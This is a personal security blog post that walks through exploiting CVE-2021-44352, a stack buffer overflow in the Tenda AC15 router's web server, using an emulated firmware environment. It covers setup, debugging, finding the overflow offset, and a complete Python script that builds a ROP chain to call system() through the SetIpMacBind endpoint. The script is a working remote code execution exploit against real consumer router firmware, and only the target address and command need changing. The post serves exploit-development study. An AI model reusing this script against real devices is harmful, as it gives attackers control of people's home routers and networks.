Hello I am Arsalan. Offensive Security Engineer, I blog about Cyber security, CTF writeup, Programming, Blockchain and more about tech. born and raised in indonesia, currently living in indonesia

Posts   About

[Router Exploit] Exploit Tenda ac15 - CVE-2021-44352

Exploit stack overflow on Tenda AC15 (AC15 V15.03.05.18_multi device)

Background

In this article, we’ll dive into the Tenda AC15 firmware (AC15 V15.03.05.18_multi device). It’s been a while since my last post, and this 2-day research project makes for an easy read! While browsing the internet out of boredom during New Year’s celebrations, I stumbled upon a repository called emux. I’ve always been curious about reverse engineering routers, and emux (a tool for emulating firmware) seemed incredibly handy (https://github.com/therealsaumil/emux). Curiosity sparked, and after a day of wrestling with setups, here we are!. Using a known CVE is always a good starting point for learning exploit development. In this article, I focus on CVE-2021-44352 and cover environment setup, debugging, and crafting an exploit script.

Setup

First, clone the emux repository

git clone https://github.com/therealsaumil/emux

Ensure Docker is installed, then set up the volume:

./build-emux-volume

Build the Docker image:

./build-emux-docker

Once everything is ready, start the environment:

./run-emux-docker

Access the shell:

./emux-docker-shell

Now, launch the firmware:

$ launcher

Choose Tenda AC15 WiFi Router and access the admin portal at:

Now you can access the tenda admin portal by accessing

http://127.0.0.1:20080/login.html

Log in using the password ringzer0. Thanks to emux for making this setup a breeze!

Debugging

I assume you have setting up everything, and able to reach the tenda admin portal.

Now we can find the httpd PID by running emuxps thanks to emux

$ emuxps | grep httpd

Remember to run above command on emux-docker environment.

Now you can attach the httpd PID to gdb by using emuxgdb once again, thanks to emux

$ emuxgdb 15457

Now we should be able to debug the httpd

Dynamic Analysis

After reading the CVE-2021-44352 (https://nvd.nist.gov/vuln/detail/CVE-2021-44352), we can see that the vulnerability is on /goform/SetIpMacBind, from this information we can only focus on this PATH, and the vulnerability parameter is on list since we don’t know what is the other parameter on this PATH so we should find the correct parameter.

I use grep to find SetIpMacBind string inside webroot folder, and found there’s a source code inside ./js/ip_mac_bind.js mentioned SetIpMacBind PATH

I found the required parameter based on file ./js/ip_mac_bind.js, it’s required bindnum and list

then check the httpd binary using ghidra, there is a function called fromSetIpMacBind which processing our input parameter bindnum and list, and there’s a strcpy there.

Since we are able to identify the function handler inside the httpd binary now it’s time for debugging. I use the same method as I explain on the Debugging Section, and I use pattern create to find the right offset. After setup the break point address at 0x8b2f8 we got segfault.

Now I am able to overwrite the %pc register and found the offset 428.

Exploitation

Last piece, we need to collect all gadget required to craft the ROP Chain and obtain RCE, due to lack of PIE and ASLR, we can use a static address offset of libc to calculate the required gadget, you can use tools like objdump to find gadgets.

base_libc = 0x40202000
system_offset = 0x0005a270
libc_system = base_libc + system_offset
gadget1 = base_libc + 0x00018298 #  pop     {r3, pc}
gadget2 = base_libc + 0x00040cb8 #  mov     r0, sp

Let’s finalize the exploit script.

#!/usr/bin/python3
from lib.http import HTTP
from pwn import *

# ip = "172.20.10.4"
ip = "localhost"
port = "20080"
# Break point 
# 0x8afb0 (main)
# 0x8b2f8 (strcpy)

def POC():
    # initialize connection
    http_driver = HTTP(ip, port)
    http_driver.login_tenda("admin", "ringzer0")
    print("test network:", http_driver.test_network())

    # making buffers
    # p = b"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae"
    cmd = b'echo "tripoloski here :P, executing uname: `uname -a`"'
    base_libc = 0x40202000
    system_offset = 0x0005a270
    libc_system = base_libc + system_offset
    gadget1 = base_libc + 0x00018298 #  pop     {r3, pc}
    gadget2 = base_libc + 0x00040cb8 #  mov     r0, sp

    print('gadget1:',hex(gadget1))
    print('gadget2:',hex(gadget2))

    p = b'A' * (428) + p32(gadget1) + p32(libc_system) + p32(gadget2) + cmd

    data = {
        "bindnum": 1,
        "list": p
    }
    SetIpMacBind = http_driver.make_post("/goform/SetIpMacBind", data)
    print("response from vulnerable endpoint: ", SetIpMacBind.text)
    

if __name__ == "__main__":
    POC()

# print(x)

Run the exploit and we got the shell